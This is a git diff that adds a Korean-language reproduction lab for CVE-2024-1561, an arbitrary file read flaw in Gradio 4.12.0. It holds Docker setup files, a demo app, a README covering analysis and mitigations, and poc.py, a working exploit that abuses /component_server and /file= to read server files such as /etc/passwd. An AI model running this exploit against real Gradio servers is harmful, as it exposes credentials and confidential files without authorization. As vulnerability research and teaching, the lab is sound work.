diff --git a/Gradio/CVE-2024-1561/Dockerfile b/Gradio/CVE-2024-1561/Dockerfile new file mode 100644 index 000000000..c08f7b7c6 --- /dev/null +++ b/Gradio/CVE-2024-1561/Dockerfile @@ -0,0 +1,13 @@ +FROM python:3.10-slim + +WORKDIR /app + +COPY requirements.txt . +RUN pip install --no-cache-dir -r requirements.txt + +COPY app.py . +COPY poc.py . + +EXPOSE 7860 + +CMD ["python", "app.py"] diff --git a/Gradio/CVE-2024-1561/README.md b/Gradio/CVE-2024-1561/README.md new file mode 100644 index 000000000..d96679f59 --- /dev/null +++ b/Gradio/CVE-2024-1561/README.md @@ -0,0 +1,184 @@ +# CVE-2024-1561 + +**Contributors** + +- [@una7620](https://github.com/una7620) + +
+ +# Gradio component_server 임의 파일 읽기 취약점 (CVE-2024-1561) + +## 취약점 요약 + +Gradio는 Python 기반으로 머신러닝 모델이나 Python 함수를 웹 인터페이스로 쉽게 배포할 수 있게 해주는 오픈소스 라이브러리이다. + +CVE-2024-1561은 Gradio의 `/component_server` 엔드포인트에서 발생하는 임의 파일 읽기 취약점이다. 취약한 버전에서는 공격자가 `Component` 또는 `Block` 클래스의 메서드를 조작된 인자로 호출할 수 있으며, 이 중 `move_resource_to_block_cache()` 메서드를 악용하면 서버 파일 시스템의 임의 파일을 Gradio 임시 디렉터리로 복사한 뒤 `/file` 엔드포인트를 통해 읽을 수 있다. + +- CVE ID: CVE-2024-1561 +- 영향 제품: gradio-app/gradio +- 영향 버전: Gradio 4.12.0 이상 4.13.0 미만 +- 취약 유형: Path Traversal / Arbitrary File Read +- CWE: CWE-29 +- 공식 CVE 근거: https://nvd.nist.gov/vuln/detail/CVE-2024-1561 + +## 환경 구성 + +본 실습 환경은 Docker Compose를 사용하여 Gradio 4.12.0 기반 애플리케이션을 실행한다. 외부 개인 취약 이미지에 의존하지 않고, 현재 디렉터리의 `Dockerfile`과 `requirements.txt`를 사용해 이미지를 직접 빌드한다. + +```bash +docker compose up -d --build +``` + +컨테이너가 실행되면 Gradio 웹 애플리케이션은 다음 주소에서 접근할 수 있다. + +```text +http://127.0.0.1:7860 +``` + +Docker 이미지 빌드 및 컨테이너 실행 결과는 다음과 같다. + +![](images/1-docker-build.png) + +`docker compose ps` 명령으로 컨테이너가 실행 중이고, 호스트의 7860 포트가 컨테이너의 7860 포트로 매핑된 것을 확인할 수 있다. + +![](images/2-container-running.png) + +브라우저에서 Gradio 애플리케이션에 접속한 화면이다. + +![](images/3-main-page.png) + +## 취약 조건 + +다음 조건에서 취약점이 재현된다. + +- Gradio 4.12.0 이상 4.13.0 미만 버전을 사용한다. +- 외부 사용자가 Gradio 애플리케이션의 HTTP 엔드포인트에 접근할 수 있다. +- `/component_server` 엔드포인트가 공격자가 전달한 인자를 기반으로 내부 메서드를 호출할 수 있다. +- 공격자가 읽고자 하는 서버 파일 경로를 알고 있다. + +본 실습에서는 Docker 컨테이너 내부의 `/etc/passwd` 파일을 읽어 취약점을 재현한다. + +## 취약점 분석 + +Gradio는 애플리케이션 구성 정보를 `/config` 엔드포인트를 통해 제공한다. 이 응답에는 화면에 배치된 컴포넌트의 ID와 속성 정보가 포함된다. 공격자는 이 정보를 이용해 공격 대상 컴포넌트 ID를 확인할 수 있다. + +취약한 Gradio 버전에서는 `/component_server` 엔드포인트가 외부 요청에서 전달된 `fn_name` 값을 기반으로 특정 컴포넌트 또는 블록 메서드를 호출할 수 있다. 이때 `move_resource_to_block_cache` 메서드는 전달받은 파일 경로를 Gradio의 임시 캐시 디렉터리로 이동 또는 복사하는 용도로 사용된다. + +공격자는 이 동작을 악용하여 `/etc/passwd`와 같은 서버 내부 파일 경로를 전달할 수 있다. 서버는 해당 파일을 `/tmp/gradio/...` 아래로 복사하고, 이후 `/file=<복사된_경로>` 요청을 통해 복사된 파일을 응답한다. 결과적으로 인증 없이 서버 내부 파일을 읽을 수 있다. + +아래 코드는 `/component_server`에 파일 경로를 전달하고, 반환된 Gradio 임시 경로를 `/file` 엔드포인트로 다시 요청하는 부분이다. + +![](images/5-poc-code.png) + +공격 흐름은 다음과 같다. + +```text +1. GET /config + -> Gradio 컴포넌트 ID 확인 + +2. POST /component_server + -> fn_name=move_resource_to_block_cache + -> data=/etc/passwd + +3. GET /file=/tmp/gradio/.../passwd + -> 복사된 파일 내용 조회 +``` + +## 재현 절차 + +먼저 취약한 Gradio 환경을 실행한다. + +```bash +docker compose up -d --build +``` + +컨테이너 상태를 확인한다. + +```bash +docker compose ps +``` + +PoC 스크립트를 실행하여 컨테이너 내부의 `/etc/passwd` 파일을 읽는다. `poc.py`는 Docker 이미지 안에 포함되어 있으므로 별도의 Python 패키지 설치 없이 실행할 수 있다. + +```bash +docker compose exec gradio python poc.py http://127.0.0.1:7860 /etc/passwd +``` + +실습이 끝나면 다음 명령으로 환경을 종료한다. + +```bash +docker compose down +``` + +### 빠른 검증 명령 + +아래 명령을 그대로 실행하면 환경 실행부터 PoC 재현, 환경 종료까지 확인할 수 있다. + +```bash +docker compose up -d --build +docker compose ps +docker compose exec gradio python poc.py http://127.0.0.1:7860 /etc/passwd +docker compose down +``` + +## POC(Proof of Concept) + +`poc.py`는 다음 순서로 취약점을 재현한다. + +1. `/config` 엔드포인트에 접근하여 Gradio 컴포넌트 ID를 확인한다. +2. `/component_server` 엔드포인트에 `move_resource_to_block_cache` 호출을 유도하는 JSON 요청을 전송한다. +3. 서버가 대상 파일을 `/tmp/gradio/...` 경로로 복사하면, 반환된 경로를 확인한다. +4. `/file=<복사된_경로>` 요청으로 복사된 파일 내용을 읽는다. + +### 사용법 + +```bash +python3 poc.py +``` + +### 명령어 실행 예 + +Docker 컨테이너 안에서 실행하는 경우: + +```bash +docker compose exec gradio python poc.py http://127.0.0.1:7860 /etc/passwd +``` + +호스트 환경에서 직접 실행하는 경우: + +```bash +python3 poc.py http://127.0.0.1:7860 /etc/passwd +``` + +## 실행 결과 + +PoC 실행 결과, `/etc/passwd` 파일이 Gradio 임시 디렉터리로 복사된 뒤 `/file` 엔드포인트를 통해 조회되는 것을 확인하였다. + +### macOS(VS Code) + +![](images/4-poc-file-read.png) + +출력에서 `Copied path`는 Gradio가 `/etc/passwd`를 복사한 임시 경로를 의미한다. 이후 출력되는 `root:x:0:0:root:/root:/bin/bash` 등의 내용은 컨테이너 내부 `/etc/passwd` 파일의 실제 내용이다. + +### Linux(Ubuntu) + +동일한 제출 파일을 Ubuntu VM 환경에서도 실행하여 재현 여부를 확인하였다. Docker Compose로 취약 환경을 실행한 뒤, 가상환경에서 `requests`를 설치하고 동일한 PoC 명령을 실행했을 때 `/etc/passwd` 파일 내용이 출력되었다. + +![](images/6-ubuntu-result.png) + +## Risk Score + +본 취약점은 원격에서 인증 없이 서버 내부 파일을 읽을 수 있으므로 CVSS 기준 7.5점(High) 수준의 위험도를 가진다. + +- 인증 필요 여부: 필요 없음 +- 원격 악용 가능성: 가능 +- 주요 영향: 서버 내부 파일 읽기로 인한 기밀성 침해 +- 무결성/가용성 영향: 직접적인 파일 변조나 서비스 중단은 확인되지 않음 + +## 대응 방안 + +- Gradio를 4.13.0 이상 버전으로 업그레이드한다. +- Gradio 애플리케이션을 인터넷에 직접 노출하지 않고, 방화벽 또는 리버스 프록시를 통해 접근 가능한 IP를 제한한다. +- 민감한 API 키, 토큰, 인증 정보가 서버 파일이나 환경 변수에 평문으로 노출되지 않도록 관리한다. +- Gradio와 같은 웹 인터페이스를 배포할 때 인증을 적용하고, 불필요한 파일 제공 엔드포인트 접근을 제한한다. +- 컨테이너 실행 시 최소 권한 원칙을 적용하고, 민감 파일이 포함된 호스트 경로를 불필요하게 마운트하지 않는다. diff --git a/Gradio/CVE-2024-1561/app.py b/Gradio/CVE-2024-1561/app.py new file mode 100644 index 000000000..691c46f38 --- /dev/null +++ b/Gradio/CVE-2024-1561/app.py @@ -0,0 +1,17 @@ +import gradio as gr + + +def echo(message): + return f"Echo: {message}" + + +with gr.Blocks() as demo: + gr.Markdown("# Gradio CVE-2024-1561 Test App") + gr.Markdown("This application runs Gradio 4.12.0 for CVE-2024-1561 reproduction.") + textbox = gr.Textbox(label="Message") + output = gr.Textbox(label="Output") + button = gr.Button("Submit") + button.click(fn=echo, inputs=textbox, outputs=output) + + +demo.launch(server_name="0.0.0.0", server_port=7860) \ No newline at end of file diff --git a/Gradio/CVE-2024-1561/docker-compose.yml b/Gradio/CVE-2024-1561/docker-compose.yml new file mode 100644 index 000000000..ee0102f25 --- /dev/null +++ b/Gradio/CVE-2024-1561/docker-compose.yml @@ -0,0 +1,7 @@ +services: + gradio: + build: . + container_name: gradio-cve-2024-1561 + ports: + - "7860:7860" + restart: unless-stopped \ No newline at end of file diff --git a/Gradio/CVE-2024-1561/images/1-docker-build.png b/Gradio/CVE-2024-1561/images/1-docker-build.png new file mode 100644 index 000000000..23fd5115a Binary files /dev/null and b/Gradio/CVE-2024-1561/images/1-docker-build.png differ diff --git a/Gradio/CVE-2024-1561/images/2-container-running.png b/Gradio/CVE-2024-1561/images/2-container-running.png new file mode 100644 index 000000000..59db9f8a2 Binary files /dev/null and b/Gradio/CVE-2024-1561/images/2-container-running.png differ diff --git a/Gradio/CVE-2024-1561/images/3-main-page.png b/Gradio/CVE-2024-1561/images/3-main-page.png new file mode 100644 index 000000000..98c99bc42 Binary files /dev/null and b/Gradio/CVE-2024-1561/images/3-main-page.png differ diff --git a/Gradio/CVE-2024-1561/images/4-poc-file-read.png b/Gradio/CVE-2024-1561/images/4-poc-file-read.png new file mode 100644 index 000000000..55f7f0906 Binary files /dev/null and b/Gradio/CVE-2024-1561/images/4-poc-file-read.png differ diff --git a/Gradio/CVE-2024-1561/images/5-poc-code.png b/Gradio/CVE-2024-1561/images/5-poc-code.png new file mode 100644 index 000000000..65299460b Binary files /dev/null and b/Gradio/CVE-2024-1561/images/5-poc-code.png differ diff --git a/Gradio/CVE-2024-1561/images/6-ubuntu-result.png b/Gradio/CVE-2024-1561/images/6-ubuntu-result.png new file mode 100644 index 000000000..99f220dc7 Binary files /dev/null and b/Gradio/CVE-2024-1561/images/6-ubuntu-result.png differ diff --git a/Gradio/CVE-2024-1561/poc.py b/Gradio/CVE-2024-1561/poc.py new file mode 100644 index 000000000..77c2ab169 --- /dev/null +++ b/Gradio/CVE-2024-1561/poc.py @@ -0,0 +1,61 @@ +import argparse +import requests + + +def find_component_id(base_url): + response = requests.get(f"{base_url}/config", timeout=10) + response.raise_for_status() + + config = response.json() + for component in config.get("components", []): + props = component.get("props", {}) + if props.get("label") == "Message": + return component.get("id") + + raise RuntimeError("Could not find target component id from /config") + + +def read_file(base_url, component_id, target_file): + payload = { + "component_id": component_id, + "data": target_file, + "fn_name": "move_resource_to_block_cache", + "session_hash": "cve-2024-1561", + } + + response = requests.post(f"{base_url}/component_server", json=payload, timeout=10) + response.raise_for_status() + + result = response.json() + if isinstance(result, str): + copied_path = result + else: + copied_path = result.get("path") + if not copied_path: + raise RuntimeError(f"Unexpected response: {result}") + + file_response = requests.get(f"{base_url}/file={copied_path}", timeout=10) + file_response.raise_for_status() + return copied_path, file_response.text + + +def main(): + parser = argparse.ArgumentParser(description="CVE-2024-1561 Gradio arbitrary file read PoC") + parser.add_argument("url", help="Target Gradio URL, e.g. http://127.0.0.1:7860") + parser.add_argument("file", nargs="?", default="/etc/passwd", help="File path to read") + args = parser.parse_args() + + base_url = args.url.rstrip("/") + component_id = find_component_id(base_url) + copied_path, content = read_file(base_url, component_id, args.file) + + print(f"[+] Target: {base_url}") + print(f"[+] Component ID: {component_id}") + print(f"[+] Copied path: {copied_path}") + print(f"[+] File content: {args.file}") + print("-" * 60) + print(content) + + +if __name__ == "__main__": + main() diff --git a/Gradio/CVE-2024-1561/requirements.txt b/Gradio/CVE-2024-1561/requirements.txt new file mode 100644 index 000000000..4cee26477 --- /dev/null +++ b/Gradio/CVE-2024-1561/requirements.txt @@ -0,0 +1,6 @@ +gradio==4.12.0 +fastapi==0.104.1 +pydantic==2.5.3 +starlette==0.27.0 +huggingface_hub==0.19.4 +requests==2.31.0